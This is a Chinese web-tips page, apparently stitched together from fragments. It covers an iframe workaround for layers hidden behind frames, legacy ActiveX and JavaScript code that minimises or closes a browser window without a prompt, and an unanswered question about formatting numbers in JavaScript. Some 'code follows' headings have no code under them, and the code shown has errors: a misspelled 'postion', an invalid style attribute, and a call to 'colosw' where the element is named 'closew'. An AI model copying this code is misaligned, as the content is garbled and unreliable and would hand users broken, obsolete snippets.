层不能跨框架（包括TEXTAREA）显示的解决办法
代码如下：
这个问题尤其在写菜单的时候经常遇到，即：一个页面内的“层”无论z-index设的多么大，只要遇到框架等便被截了：
（
其实解决办法很简单，在要跨框架的层里加入<iframe>即可解决：
<div style="position:absolute;width:140;height:200;z-index:10"><iframe src="menu.asp" width='100%' height='100%'></iframe></div>
<div style="postion:absolute;top:50;width=500;height:500;z-index:1">

最小化窗口
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Maximize">
</object>
最大化窗口
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Restore">
</object>
还原窗口
不用询问关闭一个独立的窗口代码
代码如下：

自动关闭窗口
1 做一些小窗口发消息的等程序常用到自动关闭窗口
2 方法一:
3 < OBJECT id = closew type = " application/x-oleobject " classid = " clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 " >
4 < param name = " Command " value = " Close " >
5 </ object >
6 < script LANGUAGE = " JavaScript " >
7 <!--
8 setTimeout('colosw.Click();', 1000 );
9 // -->
10 </ script >
11 <%
12 response.write " 留言成功! "
13
14
15 设置1秒留点时间显示 " 留言成功! "
16 缺点,无发使用与Tencent等一些浏览器，会把整个窗一起关掉
17
18
19 方法二
20 < script LANGUAGE = " JavaScript " >
21 <!--
22 function closew(){
23 self.focus();
24 self.close();
25 return false ;
26 }
27
28 setTimeout( " closew(); " , 1000 );
29 // -->
30 </ script >

js中，有什么函数可以令数字每千位就加一“,”，还有什么函数可以保留小数后两位

4 javascript版本的FormatNumber函数，用法与VBScript相同，第一个参数是待格式化的数值，第二个是保留小数位数
